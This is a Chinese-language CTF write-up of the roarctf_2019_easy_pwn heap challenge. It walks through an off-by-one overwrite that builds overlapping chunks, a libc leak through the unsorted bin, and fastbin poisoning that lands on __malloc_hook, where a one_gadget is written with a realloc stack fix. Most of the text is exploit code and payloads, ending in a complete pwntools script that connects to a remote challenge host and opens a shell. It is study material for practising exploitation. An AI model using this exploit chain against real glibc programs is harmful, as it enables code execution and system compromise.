roarctf_2019_easy_pwn 复现
这是ubuntu16的堆题了,看起来都是古老题目,也很有必要去整理一下思路。这是必不可少的过程。
来看看检查
保护尽开,开启了RELRO
保护,got表不可写,只能想办法修改hook表了
反汇编直接看漏洞,在edit函数中
当我们要修改的size大于原来size 10 的时候,触发off-by-one,可以多写入一个字节
free后,指针置空,没毛病
整理一下思路
- 通过off-by-one构造叠堆
- 泄露libc
- 申请chunk地址到malloc_hook
- 修改malloc_hook内容为one_gadget
- 执行one_gadget
第一步:分配堆块
add(0x18) #0
add(0x10) #1
add(0x90) #2
add(0x10) #3
为什么是 0x18
,这样可以把内存申请到下一个chunk的prve_size
的位置,正好下一个地址就是size,触发off-by-one,就可以修改下一个堆块的size
第二步:触发off-by-one修改chunk0
,将chunk1
的size改为0xa1
,同时呢,还要修改chunk2
,让伪造的chunk1
通过检查
payload = b"a"*0x10 + p64 (0x20) + p8(0xa1)
edit(0,0x18+10,payload)
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)
第三步:这时候,释放掉chunk1
,重新申请。这样chunk1
和chunk2
就有重叠部分。因为申请内存是calloc
函数,在申请内存时会导致数据清空,因此要修改一下chunk2
的size
delete(1)
add(0x90)
payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)
重叠部分
第四步:把chunk2
释放掉后,chunk2
进入unsorted bin,打印chunk1
(chunk1部分包含了chunk2),会把unsorted bin输出出来。就能得到main_arena+offset的地址
delete(2)
show(1)
libc_base = uu64() - 0x3c4b78
malloc_hook = libc.sym["__malloc_hook"] + libc_base
realloc_hook = libc.sym["realloc"] + libc_base
第五步:重新申请chunk2
,构造chunk2
,然后释放。修改chunk2
的链表地址为malloc_hook
,把堆块申请到malloc_hook
add(0x80) #2
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
delete(2)
payload = p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23)*2
edit(1,0x30,payload)
add(0x60)
add(0x60) #4
修改地址成功
解释一下为什么要写入malloc_hook - 0x23
,这样看这个堆块的size就是0x70,这么做也就是为了绕过检查
第六步:申请到堆块后,修改malloc_hook的内容为 one_gadget。最后,申请堆块执行one_gadget
one = [0x45216,0x4526a,0xf1147,0xf02a4]
one_gadget = libc_base + one[2]
payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)
add(0x60)
ia()
这里为什么要写入realloc_hook+4
? one_gadget执行是需要条件的
realloc_hook+4
的代码是push r13
,它的作用呢,是用来调栈帧的
exp
from pwn import *
binary = "./pwn"
elf = ELF(binary)
libc = ELF("libc-2.23.so")
ip = 'node4.buuoj.cn'
port = 27435
local = 0
if local:
io = process(binary)
else:
io = remote(ip, port)
#context.log_level = "debug"
def debug():
gdb.attach(io)
pause()
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800
def menu(idx):
sla("choice: ",str(idx))
def add(size):
menu(1)
sla("size: ",str(size))
def edit(idx,size,content):
menu(2)
sla("index: ",str(idx))
sla("size: ",str(size))
sla("content: ",content)
def delete(idx):
menu(3)
sla("index: ",str(idx))
def show(idx):
menu(4)
sla("index: ",str(idx))
add(0x18)
add(0x10) #1
add(0x90) #2
add(0x10)
payload = b"a"*0x10 + p64(0x20) + p8(0xa1)
edit(0,0x18+10,payload)
payload = p64(0)*0xe + p64(0xa0) + p64(0x21)
edit(2,0x80,payload)
delete(1)
add(0x90)
payload = p64(0)*3 + p64(0xa1)
edit(1,0x20,payload)
delete(2)
show(1)
libc_base = uu64() - 0x3c4b78
lg("libc_base")
malloc_hook = libc.sym["__malloc_hook"] + libc_base
realloc_hook = libc.sym["realloc"] + libc_base
lg("malloc_hook")
lg("realloc_hook")
add(0x80)
payload = p64(0)*3+p64(0x71)+p64(0)*12 + p64(0x70) + p64(0x21)
edit(1,0x90,payload)
delete(2)
payload = p64(0)*3 + p64(0x71) + p64(malloc_hook - 0x23)*2
edit(1,0x30,payload)
add(0x60)
add(0x60)
one = [0x45216,0x4526a,0xf1147,0xf02a4]
one_gadget = libc_base + one[2]
payload = b"a"*11 + p64(one_gadget) + p64(realloc_hook+4)
edit(4,27,payload)
add(0x60)
ia()
success!!!